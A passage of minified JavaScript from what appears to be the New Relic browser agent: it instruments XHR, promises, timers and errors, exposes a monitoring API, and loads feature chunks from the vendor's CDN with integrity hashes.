e.removeEventListener("load", l, (0, O.m$)(!1)), e.removeEventListener("error", f, (0, O.m$)(!1)) } function f() { t.emit("jsonp-error", [], u), t.emit("jsonp-end", [], u), e.removeEventListener("load", l, (0, O.m$)(!1)), e.removeEventListener("error", f, (0, O.m$)(!1)) } r.inPlace(d.parent, [d.key], "cb-", u), e.addEventListener("load", l, (0, O.m$)(!1)), e.addEventListener("error", f, (0, O.m$)(!1)), t.emit("new-jsonp", [e.src], u) }(e[0]) })), t } const P = {}; function j(e) { const t = function (e) { return (e || n.ee).get("mutation") }(e); if (!l.il || P[t.debugId]) return t; P[t.debugId] = !0; var r = s(t), o = l._A.MutationObserver; return o && (window.MutationObserver = function (e) { return this instanceof o ? new o(r(e, "fn-")) : o.apply(this, arguments) }, MutationObserver.prototype = o.prototype), t } const k = {}; function M(e) { const t = function (e) { return (e || n.ee).get("promise") }(e); if (k[t.debugId]) return t; k[t.debugId] = !0; var r = t.context, i = s(t), a = l._A.Promise; return a && function () { function e(r) { var n = t.context(), o = i(r, "executor-", n, null, !1); const s = Reflect.construct(a, [o], e); return t.context(s).getCtx = function () { return n }, s } l._A.Promise = e, Object.defineProperty(e, "name", { value: "Promise" }), e.toString = function () { return a.toString() }, Object.setPrototypeOf(e, a), ["all", "race"].forEach((function (r) { const n = a[r]; e[r] = function (e) { let o = !1;[...e || []].forEach((e => { this.resolve(e).then(a("all" === r), a(!1)) })); const i = n.apply(this, arguments); return i; function a(e) { return function () { t.emit("propagate", [null, !o], i, !1, !1), o = o || !e } } } })), ["resolve", "reject"].forEach((function (r) { const n = a[r]; e[r] = function (e) { const r = n.apply(this, arguments); return e !== r && t.emit("propagate", [e, !0], r, !1, !1), r } })), e.prototype = a.prototype; const n = a.prototype.then; a.prototype.then = function () { var e = this, o = r(e); o.promise = e; for (var a = arguments.length, s = new Array(a), c = 0; c < a; c++)s[c] = arguments[c]; s[0] = i(s[0], "cb-", o, null, !1), s[1] = i(s[1], "cb-", o, null, !1); const d = n.apply(this, s); return o.nextPromise = d, t.emit("propagate", [e, !0], d, !1, !1), d }, a.prototype.then[o.v.contextOriginalId] = n, t.on("executor-start", (function (e) { e[0] = i(e[0], "resolve-", this, null, !1), e[1] = i(e[1], "resolve-", this, null, !1) })), t.on("executor-err", (function (e, t, r) { e[1](r) })), t.on("cb-end", (function (e, r, n) { t.emit("propagate", [n, !0], this.nextPromise, !1, !1) })), t.on("propagate", (function (e, r, n) { this.getCtx && !r || (this.getCtx = function () { if (e instanceof Promise) var r = t.context(e); return r && r.getCtx ? r.getCtx() : this }) })) }(), t } const H = {}, L = "setTimeout", z = "setInterval", U = "clearTimeout", F = "-start", B = "-", q = [L, "setImmediate", z, U, "clearImmediate"]; function V(e) { const t = function (e) { return (e || n.ee).get("timer") }(e); if (H[t.debugId]++) return t; H[t.debugId] = 1; var r = s(t); return r.inPlace(l._A, q.slice(0, 2), L + B), r.inPlace(l._A, q.slice(2, 3), z + B), r.inPlace(l._A, q.slice(3), U + B), t.on(z + F, (function (e, t, n) { e[0] = r(e[0], "fn-", null, n) })), t.on(L + F, (function (e, t, n) { this.method = n, this.timerDuration = isNaN(e[1]) ? 0 : +e[1], e[0] = r(e[0], "fn-", this, n) })), t } var G = r(50); const Z = {}, W = ["open", "send"]; function K(e) { var t = e || n.ee; const r = function (e) { return (e || n.ee).get("xhr") }(t); if (Z[r.debugId]++) return r; Z[r.debugId] = 1, m(t); var o = s(r), i = l._A.XMLHttpRequest, a = l._A.MutationObserver, c = l._A.Promise, d = l._A.setInterval, u = "readystatechange", f = ["onload", "onerror", "onabort", "onloadstart", "onloadend", "onprogress", "ontimeout"], h = [], p = l._A.XMLHttpRequest = function (e) { const t = new i(e), n = r.context(t); try { r.emit("new-xhr", [t], n), t.addEventListener(u, (a = n, function () { var e = this; e.readyState > 3 && !a.resolved && (a.resolved = !0, r.emit("xhr-resolved", [], e)), o.inPlace(e, f, "fn-", x) }), (0, O.m$)(!1)) } catch (e) { (0, G.Z)("An error occurred while intercepting XHR", e); try { r.emit("internal-error", [e]) } catch (e) { } } var a; return t }; function g(e, t) { o.inPlace(t, ["onreadystatechange"], "fn-", x) } if (function (e, t) { for (var r in e) t[r] = e[r] }(i, p), p.prototype = i.prototype, o.inPlace(p.prototype, W, "-xhr-", x), r.on("send-xhr-start", (function (e, t) { g(e, t), function (e) { h.push(e), a && (v ? v.then(A) : d ? d(A) : (b = -b, y.data = b)) }(t) })), r.on("open-xhr-start", g), a) { var v = c && c.resolve(); if (!d && !c) { var b = 1, y = document.createTextNode(b); new a(A).observe(y, { characterData: !0 }) } } else t.on("fn-end", (function (e) { e[0] && e[0].type === u || A() })); function A() { for (var e = 0; e < h.length; e++)g(0, h[e]); h.length && (h = []) } function x(e, t) { return t } return r } }, 7825: (e, t, r) => { "use strict"; r.d(t, { t: () => n }); const n = r(3325).D.ajax }, 6660: (e, t, r) => { "use strict"; r.d(t, { t: () => n }); const n = r(3325).D.jserrors }, 3081: (e, t, r) => { "use strict"; r.d(t, { gF: () => i, mY: () => o, t9: () => n, vz: () => s, xS: () => a }); const n = r(3325).D.metrics, o = "sm", i = "cm", a = "storeSupportabilityMetrics", s = "storeEventMetrics" }, 4649: (e, t, r) => { "use strict"; r.d(t, { t: () => n }); const n = r(3325).D.pageAction }, 7633: (e, t, r) => { "use strict"; r.d(t, { t: () => n }); const n = r(3325).D.pageViewEvent }, 9251: (e, t, r) => { "use strict"; r.d(t, { t: () => n }); const n = r(3325).D.pageViewTiming }, 7144: (e, t, r) => { "use strict"; r.d(t, { Ef: () => i, J0: () => f, Mi: () => l, Vb: () => a, Ye: () => c, fm: () => d, i9: () => s, t9: () => o, u0: () => u }); var n = r(7056); const o = r(3325).D.sessionReplay, i = { RECORD: "recordReplay", PAUSE: "pauseReplay" }, a = .12, s = { DomContentLoaded: 0, Load: 1, FullSnapshot: 2, IncrementalSnapshot: 3, Meta: 4, Custom: 5 }, c = 1e6, d = 64e3, u = { [n.IK.ERROR]: 15e3, [n.IK.FULL]: 3e5, [n.IK.OFF]: 0 }, l = { RESET: { message: "Session was reset", sm: "Reset" }, IMPORT: { message: "Recorder failed to import", sm: "Import" }, TOO_MANY: { message: "429: Too Many Requests", sm: "Too-Many" }, TOO_BIG: { message: "Payload was too large", sm: "Too-Big" }, CROSS_TAB: { message: "Session Entity was set to OFF on another tab", sm: "Cross-Tab" }, ENTITLEMENTS: { message: "Session Replay is not allowed and will not be started", sm: "Entitlement" } }, f = 5e3 }, 3614: (e, t, r) => { "use strict"; r.d(t, { BST_RESOURCE: () => o, END: () => s, FEATURE_NAME: () => n, FN_END: () => d, FN_START: () => c, PUSH_STATE: () => u, RESOURCE: () => i, START: () => a }); const n = r(3325).D.sessionTrace, o = "bstResource", i = "resource", a = "-start", s = "-end", c = "fn" + a, d = "fn" + s, u = "pushState" }, 6216: (e, t, r) => { "use strict"; r.d(t, { K8: () => s, QZ: () => c, cS: () => i, sE: () => o, t9: () => a, vh: () => d }); var n = r(3325); const o = ["click", "keydown", "submit"], i = "api", a = n.D.softNav, s = { INITIAL_PAGE_LOAD: "", ROUTE_CHANGE: 1, UNSPECIFIED: 2 }, c = { INTERACTION: 1, AJAX: 2, CUSTOM_END: 3, CUSTOM_TRACER: 4 }, d = { IP: "in progress", FIN: "finished", CAN: "cancelled" } }, 7836: (e, t, r) => { "use strict"; r.d(t, { BODY: () => E, CB_END: () => w, CB_START: () => d, END: () => x, FEATURE_NAME: () => o, FETCH: () => S, FETCH_BODY: () => v, FETCH_DONE: () => m, FETCH_START: () => g, FN_END: () => c, FN_START: () => s, INTERACTION: () => f, INTERACTION_API: () => u, INTERACTION_EVENTS: () => i, JSONP_END: () => b, JSONP_NODE: () => p, JS_TIME: () => _, MAX_TIMER_BUDGET: () => a, REMAINING: () => l, SPA_NODE: () => h, START: () => A, originalSetTimeout: () => y }); var n = r(234); const o = r(3325).D.spa, i = ["click", "submit", "keypress", "keydown", "keyup", "change"], a = 999, s = "fn-start", c = "fn-end", d = "cb-start", u = "api-ixn-", l = "remaining", f = "interaction", h = "spaNode", p = "jsonpNode", g = "fetch-start", m = "fetch-done", v = "fetch-body-", b = "jsonp-end", y = n.Yu.ST, A = "-start", x = "-end", E = "-body", w = "cb" + x, _ = "jsTime", S = "fetch" }, 5938: (e, t, r) => { "use strict"; r.d(t, { W: () => o }); var n = r(2177); class o { constructor(e, t, r) { this.agentIdentifier = e, this.aggregator = t, this.ee = n.ee.get(e), this.featureName = r, this.blocked = !1 } } }, 8862: (e, t, r) => { "use strict"; r.d(t, { j: () => x }); var n = r(3325), o = r(234), i = r(5546), a = r(2177), s = r(7894), c = r(8e3), d = r(3960), u = r(385), l = r(50), f = r(3081), h = r(8632), p = r(7144); const g = ["setErrorHandler", "finished", "addToTrace", "addRelease", "addPageAction", "setCurrentRouteName", "setPageViewName", "setCustomAttribute", "interaction", "noticeError", "setUserId", "setApplicationVersion", "start", "recordReplay", "pauseReplay", p.Ef.RECORD, p.Ef.PAUSE], m = ["setErrorHandler", "finished", "addToTrace", "addRelease"]; function v() { const e = (0, h.gG)(); g.forEach((t => { e[t] = function () { for (var r = arguments.length, n = new Array(r), o = 0; o < r; o++)n[o] = arguments[o]; return function (t) { for (var r = arguments.length, n = new Array(r > 1 ? r - 1 : 0), o = 1; o < r; o++)n[o - 1] = arguments[o]; let i = []; return Object.values(e.initializedAgents).forEach((e => { e.exposed && e.api[t] && i.push(e.api[t](...n)) })), i.length > 1 ? i : i[0] }(t, ...n) } })) } var b = r(2825); const y = e => { const t = e.startsWith("http"); e += "/", r.p = t ? e : "https://" + e }; let A = !1; function x(e) { let t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : {}, g = arguments.length > 2 ? arguments[2] : void 0, x = arguments.length > 3 ? arguments[3] : void 0, { init: E, info: w, loader_config: _, runtime: S = { loaderType: g }, exposed: T = !0 } = t; const R = (0, h.gG)(); w || (E = R.init, w = R.info, _ = R.loader_config), (0, o.Dg)(e.agentIdentifier, E || {}), (0, o.GE)(e.agentIdentifier, _ || {}), w.jsAttributes ??= {}, u.v6 && (w.jsAttributes.isWorker = !0), (0, o.CX)(e.agentIdentifier, w); const N = (0, o.P_)(e.agentIdentifier), O = [w.beacon, w.errorBeacon]; A || (N.proxy.assets && (y(N.proxy.assets), O.push(N.proxy.assets)), N.proxy.beacon && O.push(N.proxy.beacon), v(), (0, h.EZ)("activatedFeatures", b.T), e.runSoftNavOverSpa &&= !0 === N.soft_navigations.enabled && N.feature_flags.includes("soft_nav")), S.denyList = [...N.ajax.deny_list || [], ...N.ajax.block_internal ? O : []], (0, o.sU)(e.agentIdentifier, S), void 0 === e.api && (e.api = function (e, t) { let h = arguments.length > 2 && void 0 !== arguments[2] && arguments[2]; t || (0, c.R)(e, "api"); const g = {}; var v = a.ee.get(e), b = v.get("tracer"), y = "api-", A = y + "ixn-"; function x(t, r, n, i) { const a = (0, o.C5)(e); return null === r ? delete a.jsAttributes[t] : (0, o.CX)(e, { ...a, jsAttributes: { ...a.jsAttributes, [t]: r } }), _(y, n, !0, i || null === r ? "session" : void 0)(t, r) } function E() { } m.forEach((e => { g[e] = _(y, e, !0, "api") })), g.addPageAction = _(y, "addPageAction", !0, n.D.pageAction), g.setPageViewName = function (t, r) { if ("string" == typeof t) return "/" !== t.charAt(0) && (t = "/" + t), (0, o.OP)(e).customTransaction = (r || "http://custom.transaction") + t, _(y, "setPageViewName", !0)() }, g.setCustomAttribute = function (e, t) { let r = arguments.length > 2 && void 0 !== arguments[2] && arguments[2]; if ("string" == typeof e) { if (["string", "number", "boolean"].includes(typeof t) || null === t) return x(e, t, "setCustomAttribute", r); (0, l.Z)("Failed to execute setCustomAttribute.\nNon-null value must be a string, number or boolean type, but a type of <".concat(typeof t, "> was provided.")) } else (0, l.Z)("Failed to execute setCustomAttribute.\nName must be a string type, but a type of <".concat(typeof e, "> was provided.")) }, g.setUserId = function (e) { if ("string" == typeof e || null === e) return x("enduser.id", e, "setUserId", !0); (0, l.Z)("Failed to execute setUserId.\nNon-null value must be a string type, but a type of <".concat(typeof e, "> was provided.")) }, g.setApplicationVersion = function (e) { if ("string" == typeof e || null === e) return x("application.version", e, "setApplicationVersion", !1); (0, l.Z)("Failed to execute setApplicationVersion. Expected <String | null>, but got <".concat(typeof e, ">.")) }, g.start = e => { try { const t = e ? "defined" : "undefined"; (0, i.p)(f.xS, ["API/start/".concat(t, "/called")], void 0, n.D.metrics, v); const r = Object.values(n.D); if (void 0 === e) e = r; else { if ((e = Array.isArray(e) && e.length ? e : [e]).some((e => !r.includes(e)))) return (0, l.Z)("Invalid feature name supplied. Acceptable feature names are: ".concat(r)); e.includes(n.D.pageViewEvent) || e.push(n.D.pageViewEvent) } e.forEach((e => { v.emit("".concat(e, "-opt-in")) })) } catch (e) { (0, l.Z)("An unexpected issue occurred", e) } }, g[p.Ef.RECORD] = function () { (0, i.p)(f.xS, ["API/recordReplay/called"], void 0, n.D.metrics, v), (0, i.p)(p.Ef.RECORD, [], void 0, n.D.sessionReplay, v) }, g[p.Ef.PAUSE] = function () { (0, i.p)(f.xS, ["API/pauseReplay/called"], void 0, n.D.metrics, v), (0, i.p)(p.Ef.PAUSE, [], void 0, n.D.sessionReplay, v) }, g.interaction = function (e) { return (new E).get("object" == typeof e ? e : {}) }; const w = E.prototype = { createTracer: function (e, t) { var r = {}, o = this, a = "function" == typeof t; return (0, i.p)(f.xS, ["API/createTracer/called"], void 0, n.D.metrics, v), h || (0, i.p)(A + "tracer", [(0, s.z)(), e, r], o, n.D.spa, v), function () { if (b.emit((a ? "" : "no-") + "fn-start", [(0, s.z)(), o, a], r), a) try { return t.apply(this, arguments) } catch (e) { throw b.emit("fn-err", [arguments, this, e], r), e } finally { b.emit("fn-end", [(0, s.z)()], r) } } } }; function _(e, t, r, o) { return function () { return (0, i.p)(f.xS, ["API/" + t + "/called"], void 0, n.D.metrics, v), o && (0, i.p)(e + t, [(0, s.z)(), ...arguments], r ? null : this, o, v), r ? void 0 : this } } function S() { r.e(111).then(r.bind(r, 7438)).then((t => { let { setAPI: r } = t; r(e), (0, c.L)(e, "api") })).catch((() => { (0, l.Z)("Downloading runtime APIs failed..."), (0, c.L)(e, "api", !0) })) } return ["actionText", "setName", "setAttribute", "save", "ignore", "onEnd", "getContext", "end", "get"].forEach((e => { w[e] = _(A, e, void 0, h ? n.D.softNav : n.D.spa) })), g.setCurrentRouteName = h ? _(A, "routeName", void 0, n.D.softNav) : _(y, "routeName", !0, n.D.spa), g.noticeError = function (e, t) { "string" == typeof e && (e = new Error(e)), (0, i.p)(f.xS, ["API/noticeError/called"], void 0, n.D.metrics, v), (0, i.p)("err", [e, (0, s.z)(), !1, t], void 0, n.D.jserrors, v) }, u.il ? (0, d.b2)((() => S()), !0) : S(), g }(e.agentIdentifier, x, e.runSoftNavOverSpa)), void 0 === e.exposed && (e.exposed = T), A = !0 } }, 1926: (e, t, r) => { r.nc = (() => { try { return document?.currentScript?.nonce } catch (e) { } return "" })() }, 3325: (e, t, r) => { "use strict"; r.d(t, { D: () => n, p: () => o }); const n = { ajax: "ajax", jserrors: "jserrors", metrics: "metrics", pageAction: "page_action", pageViewEvent: "page_view_event", pageViewTiming: "page_view_timing", sessionReplay: "session_replay", sessionTrace: "session_trace", softNav: "soft_navigations", spa: "spa" }, o = { [n.pageViewEvent]: 1, [n.pageViewTiming]: 2, [n.metrics]: 3, [n.jserrors]: 4, [n.ajax]: 5, [n.sessionTrace]: 6, [n.pageAction]: 7, [n.spa]: 8, [n.softNav]: 9, [n.sessionReplay]: 10 } } }, n = {}; function o(e) { var t = n[e]; if (void 0 !== t) return t.exports; var i = n[e] = { exports: {} }; return r[e](i, i.exports, o), i.exports } o.m = r, o.d = (e, t) => { for (var r in t) o.o(t, r) && !o.o(e, r) && Object.defineProperty(e, r, { enumerable: !0, get: t[r] }) }, o.f = {}, o.e = e => Promise.all(Object.keys(o.f).reduce(((t, r) => (o.f[r](e, t), t)), [])), o.u = e => ({ 111: "nr-spa", 164: "nr-spa-compressor", 433: "nr-spa-recorder" }[e] + "-1.253.0.min.js"), o.o = (e, t) => Object.prototype.hasOwnProperty.call(e, t), e = {}, t = "NRBA-1.253.0.PROD:", o.l = (r, n, i, a) => { if (e[r]) e[r].push(n); else { var s, c; if (void 0 !== i) for (var d = document.getElementsByTagName("script"), u = 0; u < d.length; u++) { var l = d[u]; if (l.getAttribute("src") == r || l.getAttribute("data-webpack") == t + i) { s = l; break } } if (!s) { c = !0; var f = { 111: "sha512-9q9mF25YixUzOl0h6A+kYg30MKv1nk2a0Fx09kyCfgOxt8ksjOW/9w2tJczXB75fpHty83UGhg16QZYqH5xGUA==", 433: "sha512-XC5+mpqQ2tnT7qrjy10Au+hbjKZi4K7pKsvdzhKOe/fgoYKm7g9W52e22ufe22D4Fsb1Cq7JOEOPkUh+b8tcHA==", 164: "sha512-nLe65dhs+GlSH+tKGdqn9vp9IbVkpOl4OifRjps2BSizmhkjfLxjYISHdBIgnzzk0wNwOFpTdheU8TRIq4FPXA==" }; (s = document.createElement("script")).charset = "utf-8", s.timeout = 120, o.nc && s.setAttribute("nonce", o.nc), s.setAttribute("data-webpack", t + i), s.src = r, 0 !== s.src.indexOf(window.location.origin + "/") && (s.crossOrigin = "anonymous"), f[a] && (s.integrity = f[a]) } e[r] = [n]; var h = (t, n) => { s.onerror = s.onload = null, clearTimeout(p); var o = e[r]; if (delete e[r], s.parentNode && s.parentNode.removeChild(s), o && o.forEach((e => e(n))), t) return t(n) }, p = setTimeout(h.bind(null, void 0, { type: "timeout", target: s }), 12e4); s.onerror = h.bind(null, s.onerror), s.onload = h.bind(null, s.onload), c && document.head.appendChild(s) } }, o.r = e => { "undefined" != typeof Symbol && Symbol.toStringTag && Object.defineProperty(e, Symbol.toStringTag, { value: "Module" }), Object.defineProperty(e, "__esModule", { value: !0 }) }, o.p = "https://js-agent.newrelic.com/", (() => { var e = { 801: 0, 92: 0 }; o.f.j = (t, r) => { var n = o.o(e, t) ? e[t] : void 0; if (0 !== n) if (n) r.push(n[2]); else { var i = new Promise(((r, o) => n = e[t] = [r, o])); r.push(n[2] = i); var a = o.p + o.u(t), s = new Error; o.l(a, (r => { if (o.o(e, t) && (0 !== (n = e[t]) && (e[t] = void 0), n)) { var i = r && ("load" === r.type ? "missing" : r.type), a = r && r.target && r.target.src; s.message = "Loading chunk " + t + " failed.\n(" + i + ": " + a + ")", s.name = "ChunkLoadError", s.type = i, s.request = a, n[1](s) } }), "chunk-" + t, t) } }; var t = (t, r) => { var n, i, [a, s, c] = r, d = 0; if (a.some((t => 0 !== e[t]))) { for (n in s) o.o(s, n) && (o.m[n] = s[n]); if (c) c(o) } for (t && t(r); d < a.length; d++)i = a[d], o.o(e, i) && e[i] && e[i][0](), e[i] = 0 }, r = self["webpackChunk:NRBA-1.253.0.PROD"] = self["webpackChunk:NRBA-1.253.0.PROD"] || []; r.forEach(t.bind(null, 0)), r.push = t.bind(null, r.push.bind(r)) })(), (() => { "use strict"; o(1926); var e = o(50), t = o(7144), r = o(4938), n = o(4402), i = o(2177); class a { agentIdentifier; observationContext = new r.v; constructor() { let e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : (0, n.ky)(16); this.agentIdentifier = e; i.ee.get(e).observationContext = this.observationContext } #t(t) { for (var r = arguments.length, n = new Array(r > 1 ? r - 1 : 0), o = 1; o < r; o++)n[o - 1] = arguments[o]; if ("function" == typeof this.api?.[t]) return this.api[t](...n); (0, e.Z)("Call to agent api ".concat(t, " failed. The API is not currently initialized.")) } addPageAction(e, t) { return this.#t("addPageAction", e, t) } setPageViewName(e, t) { return this.#t("setPageViewName", e, t) } setCustomAttribute(e, t, r) { return this.#t("setCustomAttribute", e, t, r) } noticeError(e, t) { return this.#t("noticeError", e, t) } setUserId(e) { return this.#t("setUserId", e) } setApplicationVersion(e) { return this.#t("setApplicationVersion", e) } setErrorHandler(e) { return this.#t("setErrorHandler", e) } finished(e) { return this.#t("finished", e) } addRelease(e, t) { return this.#t("addRelease", e, t) } start(e) { return this.#t("start", e) } recordReplay() { return this.#t(t.Ef.RECORD) } pauseReplay() { return this.#t(t.Ef.PAUSE) } addToTrace(e) { return this.#t("addToTrace", e) } setCurrentRouteName(e) { return this.#t("setCurrentRouteName", e) } interaction() { return this.#t("interaction") } } var s = o(3325), c = o(234); const d = Object.values(s.D); function u(e) { const t = {}; return d.forEach((r => { t[r] = function (e, t) { return !0 === (0, c.Mt)(t, "".concat(e, ".enabled")) }(r, e) })), t } var l = o(8862); var f = o(8e3), h = o(5938), p = o(3960), g = o(385); const m = e => g.il && !0 === (0, c.Mt)(e, "privacy.cookies_enabled"); function v(e) { return c.Yu.MO && m && !0 === (0, c.Mt)(e, "session_trace.enabled") } function b(e) { return !0 === (0, c.Mt)(e, "session_replay.preload") && v(e) } class y extends h.W { constructor(e, t, r) { let n = !(arguments.length > 3 && void 0 !== arguments[3]) || arguments[3]; super(e, t, r), this.auto = n, this.abortHandler = void 0, this.featAggregate = void 0, this.onAggregateImported = void 0, !1 === (0, c.Mt)(this.agentIdentifier, "".concat(this.featureName, ".autoStart")) && (this.auto = !1), this.auto && (0, f.R)(e, r) } importAggregator() { let t, r = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}; if (this.featAggregate) return; if (!this.auto) return void this.ee.on("".concat(this.featureName, "-opt-in"), (() => { (0, f.R)(this.agentIdentifier, this.featureName), this.auto = !0, this.importAggregator() })); this.onAggregateImported = new Promise((e => { t = e })); const n = async () => { let n; try { if (m(this.agentIdentifier)) { const { setupAgentSession: e } = await o.e(111).then(o.bind(o, 1656)); n = e(this.agentIdentifier) } } catch (t) { (0, e.Z)("A problem occurred when starting up session manager. This page will not start or extend any session.", t), this.featureName === s.D.sessionReplay && this.abortHandler?.() } try { if (!this.#r(this.featureName, n)) return (0, f.L)(this.agentIdentifier, this.featureName), void t(!1); const { lazyFeatureLoader: e } = await o.e(111).then(o.bind(o, 8582)), { Aggregate: i } = await e(this.featureName, "aggregate"); this.featAggregate = new i(this.agentIdentifier, this.aggregator, r), t(!0) } catch (r) { (0, e.Z)("Downloading and initializing ".concat(this.featureName, " failed..."), r), this.abortHandler?.(), (0, f.L)(this.agentIdentifier, this.featureName, !0), t(!1) } }; g.il ? (0, p.b2)((() => n()), !0) : n() } #r(e, t) { return e !== s.D.sessionReplay || (r = this.agentIdentifier, n = t, !(!v(r) || !n?.isNew && !n?.state.sessionReplayMode)); var r, n } } var A = o(7633); class x extends y { static featureName = A.t; constructor(e, t) { let r = !(arguments.length > 2 && void 0 !== arguments[2]) || arguments[2]; super(e, t, A.t, r), this.importAggregator() } } var E = o(1117), w = o(1284); class _ extends E.w { constructor(e) { super(e), this.aggregatedData = {} } store(e, t, r, n, o) { var i = this.getBucket(e, t, r, o); return i.metrics = function (e, t) { t || (t = { count: 0 }); return t.count += 1, (0, w.D)(e, (function (e, r) { t[e] = S(r, t[e]) })), t }(n, i.metrics), i } merge(e, t, r, n, o) { var i = this.getBucket(e, t, n, o); if (i.metrics) { var a = i.metrics; a.count += r.count, (0, w.D)(r, (function (e, t) { if ("count" !== e) { var n = a[e], o = r[e]; o && !o.c ? a[e] = S(o.t, n) : a[e] = function (e, t) { if (!t) return e; t.c || (t = T(t.t)); return t.min = Math.min(e.min, t.min), t.max = Math.max(e.max, t.max), t.t += e.t, t.sos += e.sos, t.c += e.c, t }(o, a[e]) } })) } else i.metrics = r } storeMetric(e, t, r, n) { var o = this.getBucket(e, t, r); return o.stats = S(n, o.stats), o } getBucket(e, t, r, n) { this.aggregatedData[e] || (this.aggregatedData[e] = {}); var o = this.aggregatedData[e][t]; return o || (o = this.aggregatedData[e][t] = { params: r || {} }, n && (o.custom = n)), o } get(e, t) { return t ? this.aggregatedData[e] && this.aggregatedData[e][t] : this.aggregatedData[e] } take(e) { for (var t = {}, r = "", n = !1, o = 0; o < e.length; o++)t[r = e[o]] = Object.values(this.aggregatedData[r] || {}), t[r].length && (n = !0), delete this.aggregatedData[r]; return n ? t : null } } function S(e, t) { return null == e ? function (e) { e ? e.c++ : e = { c: 1 }; return e }(t) : t ? (t.c || (t = T(t.t)), t.c += 1, t.t += e, t.sos += e * e, e > t.max && (t.max = e), e < t.min && (t.min = e), t) : { t: e } } function T(e) { return { t: e, min: e, max: e, sos: e * e, c: 1 } } var R = o(8632), N = o(4351); var O = o(5546), C = o(7956), D = o(3239), I = o(7894), P = o(9251); class j extends y { static featureName = P.t; constructor(e, t) { let r = !(arguments.length > 2 && void 0 !== arguments[2]) || arguments[2]; super(e, t, P.t, r), g.il && ((0, C.N)((() => (0, O.p)("docHidden", [(0, I.z)()], void 0, P.t, this.ee)), !0), (0, D.bP)("pagehide", (() => (0, O.p)("winPagehide", [(0, I.z)()], void 0, P.t, this.ee))), this.importAggregator()) } } var k = o(3081); class M extends y { static featureName = k.t9; constructor(e, t) { let r = !(arguments.length > 2 && void 0 !== arguments[2]) || arguments[2]; super(e, t, k.t9, r), this.importAggregator() } } var H = o(6660); class L { constructor(e, t, r, n) { this.name = "UncaughtError", this.message = e, this.sourceURL = t, this.line = r, this.column = n } } class z extends y { static featureName = H.t; #n = new Set; constructor(e, t) { let r = !(arguments.length > 2 && void 0 !== arguments[2]) || arguments[2]; super(e, t, H.t, r); try { this.removeOnAbort = new AbortController } catch (e) { } this.ee.on("fn-err", ((e, t, r) => { this.abortHandler && !this.#n.has(r) && (this.#n.add(r), (0, O.p)("err", [this.#o(r), (0, I.z)()], void 0, s.D.jserrors, this.ee)) })), this.ee.on("internal-error", (e => { this.abortHandler && (0, O.p)("ierr", [this.#o(e), (0, I.z)(), !0], void 0, s.D.jserrors, this.ee) })), g._A.addEventListener("unhandledrejection", (e => { this.abortHandler && (0, O.p)("err", [this.#i(e), (0, I.z)(), !1, { unhandledPromiseRejection: 1 }], void 0, s.D.jserrors, this.ee) }), (0, D.m$)(!1, this.removeOnAbort?.signal)), g._A.addEventListener("error", (e => { this.abortHandler && (this.#n.has(e.error) ? this.#n.delete(e.error) : (0, O.p)("err", [this.#a(e), (0, I.z)()], void 0, s.D.jserrors, this.ee)) }), (0, D.m$)(!1, this.removeOnAbort?.signal)), this.abortHandler = this.#s, this.importAggregator() } #s() { this.removeOnAbort?.abort(), this.#n.clear(), this.abortHandler = void 0 } #o(e) { return e instanceof Error ? e : void 0 !== e?.message ? new L(e.message, e.filename || e.sourceURL, e.lineno || e.line, e.colno || e.col) : new L("string" == typeof e ? e : (0, N.P)(e)) } #i(e) { let t = "Unhandled Promise Rejection: "; if (e?.reason instanceof Error) try { return e.reason.message = t + e.reason.message, e.reason } catch (t) { return e.reason } if (void 0 === e.reason) return new L(t); const r = this.#o(e.reason); return r.message = t + r.message, r } #a(e) { if (e.error instanceof SyntaxError && !/:\d+$/.test(e.error.stack?.trim())) { const t = new L(e.message, e.filename, e.lineno, e.colno); return t.name = SyntaxError.name, t } return e.error instanceof Error ? e.error : new L(e.message, e.filename, e.lineno, e.colno) } } var U = o(2210); let F = 1; const B = "nr@id"; function q(e) { const t = typeof e; return !e || "object" !== t && "function" !== t ? -1 : e === g._A ? 0 : (0, U.X)(e, B, (function () { return F++ })) } function V(e) { if ("string" == typeof e && e.length) return e.length; if ("object" == typeof e) { if ("undefined" != typeof ArrayBuffer && e instanceof ArrayBuffer && e.byteLength) return e.byteLength; if ("undefined" != typeof Blob && e instanceof Blob && e.size) return e.size; if (!("undefined" != typeof FormData && e instanceof FormData)) try { return (0, N.P)(e).length } catch (e) { return } } } var G = o(7806), Z = o(7243); class W { constructor(e) { this.agentIdentifier = e } generateTracePayload(e) { if (!this.shouldGenerateTrace(e)) return null; var t = (0, c.DL)(this.agentIdentifier); if (!t) return null; var r = (t.accountID || "").toString() || null, o = (t.agentID || "").toString() || null, i = (t.trustKey || "").toString() || null; if (!r || !o) return null; var a = (0, n.M)(), s = (0, n.Ht)(), d = Date.now(), u = { spanId: a, traceId: s, timestamp: d }; return (e.sameOrigin || this.isAllowedOrigin(e) && this.useTraceContextHeadersForCors()) && (u.traceContextParentHeader = this.generateTraceContextParentHeader(a, s), u.traceContextStateHeader = this.generateTraceContextStateHeader(a, d, r, o, i)), (e.sameOrigin && !this.excludeNewrelicHeader() || !e.sameOrigin && this.isAllowedOrigin(e) && this.useNewrelicHeaderForCors()) && (u.newrelicHeader = this.generateTraceHeader(a, s, d, r, o, i)), u } generateTraceContextParentHeader(e, t) { return "00-" + t + "-" + e + "-01" } generateTraceContextStateHeader(e, t, r, n, o) { return o + "@nr=0-1-" + r + "-" + n + "-" + e + "----" + t } generateTraceHeader(e, t, r, n, o, i) { if (!("function" == typeof g._A?.btoa)) return null; var a = { v: [0, 1], d: { ty: "Browser", ac: n, ap: o, id: e, tr: t, ti: r } }; return i && n !== i && (a.d.tk = i), btoa((0, N.P)(a)) } shouldGenerateTrace(e) { return this.isDtEnabled() && this.isAllowedOrigin(e) } isAllowedOrigin(e) { var t = !1, r = {}; if ((0, c.Mt)(this.agentIdentifier, "distributed_tracing") && (r = (0, c.P_)(this.agentIdentifier).distributed_tracing), e.sameOrigin) t = !0; else if (r.allowed_origins instanceof Array) for (var n = 0; n < r.allowed_origins.length; n++) { var o = (0, Z.e)(r.allowed_origins[n]); if (e.hostname === o.hostname && e.protocol === o.protocol && e.port === o.port) { t = !0; break } } return t } isDtEnabled() { var e = (0, c.Mt)(this.agentIdentifier, "distributed_tracing"); return !!e && !!e.enabled } excludeNewrelicHeader() { var e = (0, c.Mt)(this.agentIdentifier, "distributed_tracing"); return !!e && !!e.exclude_newrelic_header } useNewrelicHeaderForCors() { var e = (0, c.Mt)(this.agentIdentifier, 